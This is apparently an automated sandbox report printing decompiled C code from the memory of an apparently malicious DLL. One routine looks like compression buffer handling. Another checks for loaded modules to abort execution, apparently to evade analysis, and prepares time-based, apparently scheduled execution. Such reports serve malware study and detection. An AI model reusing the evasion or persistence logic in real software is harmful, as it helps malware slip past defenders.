							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0xa1ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0xa1ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x7e89ffff
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0xa1ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0xa1ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x3c468b3c
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0x23e85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x7e89ffff
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0xa1ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t111 = _a4 + 4; // 0x0
						_t220 =  *_t111;
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E6CE74C70(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0xa1ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0xec8b55c3
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0x23e85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0x23e85000
							E6CE75DD0(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E6CE74B30( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0x23e85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

0x6ce72db6
0x6ce72dbb
0x6ce72dbf
0x6ce72dc2
0x6ce72dc2
0x6ce72dc5
0x6ce72dca
0x6ce72dcf
0x6ce72dd2
0x6ce72dd7
0x6ce72dda
0x6ce72de0
0x6ce72de0
0x6ce72deb
0x6ce72dee
0x6ce72df5
0x6ce72dfa
0x00000000
0x00000000
0x6ce72e00
0x6ce72e05
0x6ce72e05
0x6ce72e0a
0x6ce72e10
0x6ce72e1a
0x6ce72e1f
0x6ce72e25
0x6ce72e44
0x6ce72e47
0x6ce72e52
0x6ce72e52
0x6ce72e52
0x6ce72e49
0x6ce72e49
0x6ce72e4b
0x00000000
0x6ce72e4d
0x6ce72e4d
0x6ce72e4d
0x6ce72e4b
0x6ce72e5a
0x6ce72e5f
0x6ce72e64
0x6ce72e6a
0x6ce72e6e
0x6ce72e71
0x6ce72e74
0x6ce72e7a
0x6ce72e7f
0x6ce72e82
0x6ce72e88
0x6ce72e8d
0x6ce72e93
0x6ce72e99
0x6ce72e9e
0x6ce72ea1
0x6ce72ea6
0x6ce72eaa
0x6ce72eae
0x6ce72eb1
0x6ce72eb4
0x6ce72ebd
0x6ce72ec4
0x6ce72ec7
0x6ce72eca
0x6ce72ecf
0x6ce72ed4
0x6ce72ed7
0x6ce72eda
0x6ce72eda
0x6ce72ede
0x6ce72ee7
0x6ce72eee
0x6ce72ef1
0x6ce72ef6
0x6ce72efb
0x6ce72efb
0x6ce72efe
0x6ce72f03
0x00000000
0x00000000
0x6ce72e27
0x6ce72e29
0x6ce72e36
0x00000000
0x00000000
0x6ce72e36
0x6ce72e29
0x00000000
0x6ce72e25
0x6ce72f09
0x6ce72f0e
0x6ce72f11
0x6ce72f14
0x6ce72fbf
0x6ce72fbf
0x6ce72f1a
0x6ce72f1a
0x6ce72f1a
0x6ce72f1f
0x6ce72f49
0x6ce72f4c
0x6ce72f4c
0x6ce72f51
0x6ce72f53
0x6ce72f55
0x6ce72f58
0x6ce72f5b
0x6ce72f63
0x6ce72f68
0x6ce72f68
0x6ce72f6e
0x6ce72f71
0x6ce72f74
0x6ce72f77
0x6ce72f79
0x6ce72f79
0x6ce72f7a
0x6ce72f7a
0x6ce72f77
0x6ce72f88
0x6ce72f8b
0x6ce72f8f
0x6ce72f94
0x6ce72f97
0x6ce72f9a
0x6ce72f9a
0x6ce72f9a
0x6ce72f9d
0x6ce72f9d
0x6ce72fa0
0x6ce72fa0
0x6ce72f21
0x6ce72f21
0x6ce72f31
0x6ce72f34
0x6ce72f39
0x6ce72f39
0x6ce72f3c
0x6ce72f3f
0x6ce72f42
0x6ce72f44
0x6ce72f44
0x6ce72fa3
0x6ce72fa5
0x6ce72fa8
0x6ce72fa8
0x6ce72fae
0x6ce72fb2
0x6ce72fb5
0x6ce72fb7
0x6ce72fb7
0x6ce72fc8
0x6ce72fca
0x6ce72fca
0x6ce72fd2
0x6ce72fe0
0x6ce72fe3
0x6ce72fe5
0x6ce73005
0x6ce73005
0x6ce73008
0x6ce7300e
0x6ce7300f
0x6ce73012
0x6ce73014
0x6ce73017
0x6ce7301a
0x6ce7301d
0x6ce73021
0x6ce73024
0x6ce73027
0x6ce7302a
0x6ce7302c
0x6ce7302c
0x6ce7302f
0x6ce73031
0x6ce73031
0x6ce73034
0x6ce73036
0x6ce73039
0x6ce73041
0x6ce73044
0x6ce73049
0x6ce73049
0x6ce7304f
0x6ce73052
0x6ce73055
0x6ce73057
0x6ce73057
0x6ce73058
0x6ce73058
0x6ce73063
0x6ce73063
0x6ce73063
0x6ce73066
0x6ce73069
0x6ce73069
0x6ce7306c
0x6ce7306c
0x6ce7302f
0x6ce73072
0x6ce73072
0x6ce73075
0x6ce73077
0x6ce7307a
0x6ce7307c
0x6ce7307f
0x6ce73082
0x6ce73084
0x6ce73087
0x6ce7308f
0x6ce73097
0x6ce7309a
0x6ce7309a
0x6ce7309a
0x6ce7309d
0x6ce7309d
0x6ce7309d
0x6ce730a0
0x6ce730a6
0x6ce730a8
0x6ce730a8
0x6ce730ae
0x6ce730b4
0x6ce730bd
0x6ce730c4
0x6ce730c6
0x6ce730c9
0x6ce730c9
0x6ce730cc
0x6ce730cc
0x6ce730cf
0x6ce730d1
0x6ce730d4
0x6ce730d6
0x6ce730f1
0x6ce730f1
0x6ce730f5
0x6ce730f8
0x6ce730fb
0x6ce730fe
0x6ce73114
0x6ce73114
0x6ce73114
0x6ce73100
0x6ce73100
0x6ce73102
0x6ce73106
0x6ce73109
0x00000000
0x6ce7310b
0x6ce7310b
0x6ce7310d
0x00000000
0x6ce7310f
0x6ce7310f
0x6ce7310f
0x6ce7310d
0x6ce73109
0x6ce73118
0x6ce7311b
0x6ce73120
0x6ce7312a
0x6ce7312a
0x6ce7312a
0x6ce7312d
0x6ce730d8
0x6ce730d8
0x6ce730da
0x6ce730e1
0x6ce730e1
0x6ce730e3
0x6ce730e5
0x6ce730e7
0x6ce730eb
0x6ce730ed
0x6ce730ef
0x00000000
0x00000000
0x6ce730ef
0x6ce730eb
0x6ce730dc
0x6ce730dc
0x6ce730df
0x00000000
0x00000000
0x6ce730df
0x6ce730da
0x6ce73137
0x6ce73139
0x6ce73139
0x6ce73144
0x6ce72fe7
0x6ce72fe7
0x6ce72fea
0x00000000
0x6ce72fec
0x6ce72fec
0x6ce72fee
0x6ce72ff2
0x00000000
0x6ce72ff4
0x6ce72ff4
0x6ce72ff4
0x6ce72ff7
0x00000000
0x6ce72ffb
0x6ce73004
0x6ce73004
0x6ce72ff7
0x6ce72ff2
0x6ce72fea
0x6ce72fd6
0x6ce72fdf
0x6ce72fdf

APIs

memcpy.MSVCRT ref: 6CE72EBD
memcpy.MSVCRT ref: 6CE72F34
memcpy.MSVCRT ref: 6CE72F63
memcpy.MSVCRT ref: 6CE72F8F
memcpy.MSVCRT ref: 6CE73044

Part of subcall function 6CE75DD0: memcpy.MSVCRT ref: 6CE75EAE

Part of subcall function 6CE74B30: memcpy.MSVCRT ref: 6CE74B5A

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction ID: 52ff1fffa86164659458b2b728bfc32084fbedb6c0888bc89803ae64da1e1ba0
Opcode Fuzzy Hash: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction Fuzzy Hash: 83D10571604A009FD768CF6ED8D495AB7F1FF88308B248A2DE88AC7B01D771E945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CE64D60, Relevance: 6.4, APIs: 4, Instructions: 432
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6CE64D60(intOrPtr* __ecx, void* __edx, void* __fp0) {
				char _v516;
				char _v556;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				intOrPtr _v580;
				char _v588;
				signed int _v596;
				intOrPtr _v602;
				intOrPtr _v604;
				char _v608;
				CHAR* _v612;
				CHAR* _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				char _v636;
				intOrPtr _t119;
				signed int _t122;
				CHAR* _t124;
				intOrPtr _t125;
				CHAR* _t127;
				WCHAR* _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				WCHAR* _t138;
				intOrPtr _t142;
				WCHAR* _t143;
				CHAR* _t144;
				intOrPtr _t145;
				intOrPtr _t150;
				intOrPtr _t153;
				WCHAR* _t154;
				signed int _t159;
				WCHAR* _t160;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t170;
				signed int _t173;
				signed int _t178;
				intOrPtr _t182;
				WCHAR* _t184;
				char _t186;
				WCHAR* _t188;
				intOrPtr _t200;
				intOrPtr _t211;
				signed int _t215;
				char _t220;
				WCHAR* _t231;
				intOrPtr _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t246;
				signed int _t248;
				WCHAR* _t249;
				CHAR* _t250;
				intOrPtr _t262;
				void* _t271;
				intOrPtr _t272;
				signed int _t277;
				void* _t278;
				intOrPtr _t280;
				signed int _t282;
				void* _t298;
				void* _t299;
				intOrPtr _t305;
				CHAR* _t326;
				void* _t328;
				WCHAR* _t329;
				intOrPtr _t331;
				WCHAR* _t333;
				signed int _t335;
				intOrPtr* _t337;
				void* _t338;
				void* _t339;
				void* _t353;

				_t353 = __fp0;
				_t337 = (_t335 & 0xfffffff8) - 0x26c;
				_t119 =  *0x6ce7e688; // 0x5e0590
				_v620 = _v620 & 0x00000000;
				_t328 = __ecx;
				if(( *(_t119 + 0x1898) & 0x00000082) == 0) {
					L7:
					_t14 = E6CE6B7EA(0x6ce7b9c4,  &_v516) + 1; // 0x1
					E6CE6A8AF( &_v556, _t14, _t351);
					_t298 = 0x64;
					_t122 = E6CE6A4B3( &_v556, _t298);
					 *0x6ce7e748 = _t122;
					if(_t122 != 0) {
						_push(0x4e5);
						_t299 = 0x10;
						 *0x6ce7e680 = E6CE6E1FE(0x6ce7b9c8, _t299);
						 *_t337 = 0x610;
						_t124 = E6CE695C2(0x6ce7b9c8);
						_push(0);
						_push(_t124);
						_v612 = _t124;
						_t125 =  *0x6ce7e688; // 0x5e0590
						_t127 = E6CE692C6(_t125 + 0x228);
						_t338 = _t337 + 0xc;
						_v616 = _t127;
						E6CE685B6( &_v612);
						_t130 = E6CE6B2AB(_t127);
						_t246 = 3;
						__eflags = _t130;
						if(_t130 != 0) {
							 *((intOrPtr*)(_t328 + 0x10)) = _t239;
							 *_t328 = _t246;
						}
						E6CE685FB( &_v616, 0xfffffffe);
						_t133 =  *0x6ce7e688; // 0x5e0590
						_t21 = _t133 + 0x110; // 0x65fd98
						_t22 = _t133 + 0x114; // 0x5e06a4
						E6CE649FE( *((intOrPtr*)( *_t21)), _t22, _t353, _t328, 0, 0);
						_t262 =  *0x6ce7e688; // 0x5e0590
						_t339 = _t338 + 0x14;
						__eflags =  *((intOrPtr*)(_t262 + 0x101c)) - _t246;
						if( *((intOrPtr*)(_t262 + 0x101c)) == _t246) {
							L17:
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							_v572 = _t328;
							_t28 = _t262 + 0x214; // 0x3
							_v576 =  *_t28;
							_t137 =  *0x6ce7e680; // 0x0
							_t138 =  *(_t137 + 8);
							__eflags = _t138;
							if(_t138 != 0) {
								 *_t138(0, 0, 1,  &_v568,  &_v564);
							}
							_v620 = _v620 & 0x00000000;
							E6CE6E308(_t353,  &_v576);
							_pop(_t262);
							_t142 =  *0x6ce7e6b4; // 0x65fc48
							_t143 =  *((intOrPtr*)(_t142 + 0x10))(0, 0,  &_v620);
							__eflags = _t143;
							if(_t143 == 0) {
								E6CE6E308(_t353,  &_v588);
								_t235 =  *0x6ce7e6b4; // 0x65fc48
								_pop(_t262);
								 *((intOrPtr*)(_t235 + 0xc))(_v632);
							}
							__eflags =  *0x6ce7e73c;
							if( *0x6ce7e73c <= 0) {
								goto L36;
							} else {
								_t165 =  *0x6ce7e680; // 0x0
								__eflags =  *(_t165 + 8);
								if( *(_t165 + 8) != 0) {
									_t231 =  *(_t165 + 0xc);
									__eflags = _t231;
									if(_t231 != 0) {
										 *_t231(_v580);
									}
								}
								_t166 =  *0x6ce7e688; // 0x5e0590
								_t45 = _t166 + 0x214; // 0x3
								_t262 =  *_t45;
								__eflags = _t262 - _t246;
								if(_t262 == _t246) {
									goto L36;
								} else {
									__eflags =  *((intOrPtr*)(_t166 + 4)) - 6;
									if( *((intOrPtr*)(_t166 + 4)) >= 6) {
										__eflags =  *((intOrPtr*)(_t166 + 0x101c)) - _t246;
										if( *((intOrPtr*)(_t166 + 0x101c)) == _t246) {
											E6CE64998();
											asm("stosd");
											asm("stosd");
											asm("stosd");
											asm("stosd");
											_t170 =  *0x6ce7e684; // 0x65faa0
											 *((intOrPtr*)(_t170 + 0xd8))( &_v608);
											_t262 = _v602;
											_t248 = 0x3c;
											_t173 = _t262 + 0x00000002 & 0x0000ffff;
											_v596 = _t173;
											_v620 = _t173 / _t248 + _v604 & 0x0000ffff;
											_t178 = _t262 + 0x0000000e & 0x0000ffff;
											_v624 = _t178;
											_v628 = _t178 / _t248 + _v604 & 0x0000ffff;
											_t182 =  *0x6ce7e688; // 0x5e0590
											_t184 = E6CE6FC57(_t182 + 0x228, _t178 % _t248, _t353, 0, _t182 + 0x228, 0);
											_t339 = _t339 + 0xc;
											__eflags = _t184;
											if(_t184 >= 0) {
												_t333 = E6CE685E5(0x1000);
												_v616 = _t333;
												_pop(_t262);
												__eflags = _t333;
												if(_t333 != 0) {
													_t186 = E6CE6109A(_t262, 0x148);
													_t305 =  *0x6ce7e688; // 0x5e0590
													_v636 = _t186;
													_push(_t305 + 0x648);
													_push(0xa);
													_push(7);
													_t271 = 2;
													E6CE6900E(_t271,  &_v572);
													_t272 =  *0x6ce7e688; // 0x5e0590
													_t92 = _t272 + 0xa0; // 0x1
													_t188 = E6CE660C0( &_v572, _t272 + 0x228, 1,  *_t92);
													_t339 = _t339 + 0x18;
													_v632 = _t188;
													__eflags = _t188;
													if(_t188 != 0) {
														_push(_v624 % _t248 & 0x0000ffff);
														_push(_v628 & 0x0000ffff);
														_push(_v596 % _t248 & 0x0000ffff);
														_push(_v620 & 0x0000ffff);
														_push(_v632);
														_push( &_v572);
														_t200 =  *0x6ce7e688; // 0x5e0590
														__eflags = _t200 + 0x1020;
														E6CE69621(_t333, 0x1000, _v636, _t200 + 0x1020);
														E6CE685B6( &_v636);
														E6CE6A953(_t333, 0, 0xbb8, 1);
														E6CE685FB( &_v632, 0xfffffffe);
														_t339 = _t339 + 0x44;
													}
													E6CE685FB( &_v616, 0xfffffffe);
													_pop(_t262);
												}
											}
										}
										goto L36;
									}
									__eflags = _t262 - 2;
									if(_t262 != 2) {
										goto L36;
									}
									E6CE64998();
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									_t211 =  *0x6ce7e684; // 0x65faa0
									 *((intOrPtr*)(_t211 + 0xd8))( &_v608);
									_t215 = _v602 + 0x00000002 & 0x0000ffff;
									_v628 = _t215;
									_t277 = 0x3c;
									_v632 = _t215 / _t277 + _v604 & 0x0000ffff;
									_t249 = E6CE685E5(0x1000);
									_v624 = _t249;
									_pop(_t278);
									__eflags = _t249;
									if(_t249 != 0) {
										_t220 = E6CE695C2(_t278, 0x32d);
										_t280 =  *0x6ce7e688; // 0x5e0590
										_push(_t280 + 0x228);
										_t282 = 0x3c;
										_v636 = _t220;
										_push(_v628 % _t282 & 0x0000ffff);
										E6CE69621(_t249, 0x1000, _t220, _v632 & 0x0000ffff);
										E6CE685B6( &_v636);
										E6CE6A953(_t249, 0, 0xbb8, 1);
										E6CE685FB( &_v624, 0xfffffffe);
									}
									goto L41;
								}
							}
						} else {
							_t24 = _t262 + 0x214; // 0x3
							_t238 =  *_t24;
							__eflags = _t238 - _t246;
							if(_t238 == _t246) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t262 + 4)) - 6;
							if( *((intOrPtr*)(_t262 + 4)) >= 6) {
								L36:
								_t144 = E6CE695C2(_t262, 0x610);
								_push(0);
								_push(_t144);
								_v616 = _t144;
								_t145 =  *0x6ce7e688; // 0x5e0590
								_t329 = E6CE692C6(_t145 + 0x228);
								_v612 = _t329;
								__eflags = _t329;
								if(_t329 != 0) {
									_t160 = E6CE6B2AB(_t329);
									__eflags = _t160;
									if(_t160 != 0) {
										_t163 =  *0x6ce7e684; // 0x65faa0
										 *((intOrPtr*)(_t163 + 0x10c))(_t329);
									}
									E6CE685FB( &_v612, 0xfffffffe);
								}
								E6CE685B6( &_v616);
								_t150 =  *0x6ce7e688; // 0x5e0590
								lstrcpynW(_t150 + 0x438,  *0x6ce7e740, 0x105);
								_t153 =  *0x6ce7e688; // 0x5e0590
								_t154 = _t153 + 0x228;
								__eflags = _t154;
								lstrcpynW(_t154,  *0x6ce7e738, 0x105);
								_t331 =  *0x6ce7e688; // 0x5e0590
								_t117 = _t331 + 0x228; // 0x5e07b8
								 *((intOrPtr*)(_t331 + 0x434)) = E6CE68F9F(_t117, __eflags);
								E6CE685FB(0x6ce7e740, 0xfffffffe);
								E6CE685FB(0x6ce7e738, 0xfffffffe);
								L41:
								_t159 = 0;
								__eflags = 0;
								L42:
								return _t159;
							}
							__eflags = _t238 - 2;
							if(_t238 != 2) {
								goto L36;
							}
							goto L17;
						}
					}
					L8:
					_t159 = _t122 | 0xffffffff;
					goto L42;
				}
				_t250 = E6CE695A8(0x6e2);
				_v616 = _t250;
				_t326 = E6CE695A8(0x9f5);
				_v612 = _t326;
				if(_t250 != 0 && _t326 != 0) {
					if(GetModuleHandleA(_t250) != 0 || GetModuleHandleA(_t326) != 0) {
						_v620 = 1;
					}
					E6CE685A3( &_v616);
					_t122 = E6CE685A3( &_v612);
					_t351 = _v620;
					if(_v620 != 0) {
						goto L8;
					}
				}
			}

0x6ce64d60
0x6ce64d66
0x6ce64d6c
0x6ce64d71
0x6ce64d7f
0x6ce64d82
0x6ce64de1
0x6ce64df3
0x6ce64df6
0x6ce64dfd
0x6ce64e02
0x6ce64e07
0x6ce64e0e
0x6ce64e18
0x6ce64e1f
0x6ce64e2a
0x6ce64e2f
0x6ce64e36
0x6ce64e3c
0x6ce64e3e
0x6ce64e3f
0x6ce64e43
0x6ce64e4e
0x6ce64e53
0x6ce64e5c
0x6ce64e61
0x6ce64e69
0x6ce64e70
0x6ce64e71
0x6ce64e73
0x6ce64e8f
0x6ce64e92
0x6ce64e92
0x6ce64e9b
0x6ce64ea0
0x6ce64eaa
0x6ce64eb0
0x6ce64eb8
0x6ce64ebd
0x6ce64ec3
0x6ce64ec6
0x6ce64ecc
0x6ce64eeb
0x6ce64ef1
0x6ce64ef2
0x6ce64ef3
0x6ce64ef4
0x6ce64ef5
0x6ce64ef6
0x6ce64efa
0x6ce64f00
0x6ce64f04
0x6ce64f09
0x6ce64f0c
0x6ce64f0e
0x6ce64f20
0x6ce64f20
0x6ce64f22
0x6ce64f2e
0x6ce64f33
0x6ce64f39
0x6ce64f42
0x6ce64f45
0x6ce64f47
0x6ce64f52
0x6ce64f57
0x6ce64f5c
0x6ce64f61
0x6ce64f61
0x6ce64f64
0x6ce64f6b
0x00000000
0x6ce64f71
0x6ce64f71
0x6ce64f76
0x6ce64f7a
0x6ce64f7c
0x6ce64f7f
0x6ce64f81
0x6ce64f87
0x6ce64f87
0x6ce64f81
0x6ce64f89
0x6ce64f8e
0x6ce64f8e
0x6ce64f94
0x6ce64f96
0x00000000
0x6ce64f9c
0x6ce64f9c
0x6ce64fa0
0x6ce65075
0x6ce6507b
0x6ce65081
0x6ce6508c
0x6ce6508d
0x6ce6508e
0x6ce6508f
0x6ce65095
0x6ce6509a
0x6ce650a0
0x6ce650a8
0x6ce650ae
0x6ce650b1
0x6ce650c0
0x6ce650c7
0x6ce650ca
0x6ce650d7
0x6ce650db
0x6ce650e8
0x6ce650ed
0x6ce650f0
0x6ce650f2
0x6ce65103
0x6ce65105
0x6ce65109
0x6ce6510a
0x6ce6510c
0x6ce65117
0x6ce6511c
0x6ce65129
0x6ce6512d
0x6ce6512e
0x6ce65130
0x6ce65138
0x6ce65139
0x6ce6513e
0x6ce65147
0x6ce65156
0x6ce6515b
0x6ce6515e
0x6ce65162
0x6ce65164
0x6ce65177
0x6ce65181
0x6ce65185
0x6ce6518d
0x6ce6518e
0x6ce65196
0x6ce65197
0x6ce6519c
0x6ce651a8
0x6ce651b2
0x6ce651c4
0x6ce651d0
0x6ce651d5
0x6ce651d5
0x6ce651df
0x6ce651e5
0x6ce651e5
0x6ce6510c
0x6ce650f2
0x00000000
0x6ce6507b
0x6ce64fa6
0x6ce64fa9
0x00000000
0x00000000
0x6ce64faf
0x6ce64fba
0x6ce64fbb
0x6ce64fbc
0x6ce64fbd
0x6ce64fc3
0x6ce64fc8
0x6ce64fdc
0x6ce64fe1
0x6ce64fe5
0x6ce64ff0
0x6ce64ff9
0x6ce64ffb
0x6ce64fff
0x6ce65000
0x6ce65002
0x6ce6500d
0x6ce65013
0x6ce65025
0x6ce65028
0x6ce6502b
0x6ce65038
0x6ce65040
0x6ce6504a
0x6ce6505c
0x6ce65068
0x6ce6506d
0x00000000
0x6ce65002
0x6ce64f96
0x6ce64ece
0x6ce64ece
0x6ce64ece
0x6ce64ed4
0x6ce64ed6
0x00000000
0x00000000
0x6ce64ed8
0x6ce64edc
0x6ce651e6
0x6ce651eb
0x6ce651f1
0x6ce651f3
0x6ce651f4
0x6ce651f8
0x6ce65208
0x6ce6520d
0x6ce65211
0x6ce65213
0x6ce65217
0x6ce6521c
0x6ce6521e
0x6ce65220
0x6ce65226
0x6ce65226
0x6ce65233
0x6ce65239
0x6ce6523f
0x6ce65244
0x6ce65262
0x6ce65264
0x6ce65270
0x6ce65270
0x6ce65276
0x6ce65278
0x6ce6527e
0x6ce65290
0x6ce65296
0x6ce652a2
0x6ce652aa
0x6ce652aa
0x6ce652aa
0x6ce652ac
0x6ce652b2
0x6ce652b2
0x6ce64ee2
0x6ce64ee5
0x00000000
0x00000000
0x00000000
0x6ce64ee5
0x6ce64ecc
0x6ce64e10
0x6ce64e10
0x00000000
0x6ce64e10
0x6ce64d8e
0x6ce64d95
0x6ce64d9e
0x6ce64da0
0x6ce64da6
0x6ce64db7
0x6ce64dc0
0x6ce64dc0
0x6ce64dcc
0x6ce64dd5
0x6ce64dda
0x6ce64ddf
0x00000000
0x00000000
0x6ce64ddf

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 6CE64DB3
GetModuleHandleA.KERNEL32(00000000), ref: 6CE64DBA
lstrcpynW.KERNEL32(005E0158,00000105), ref: 6CE65262
lstrcpynW.KERNEL32(005E0368,00000105), ref: 6CE65276

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
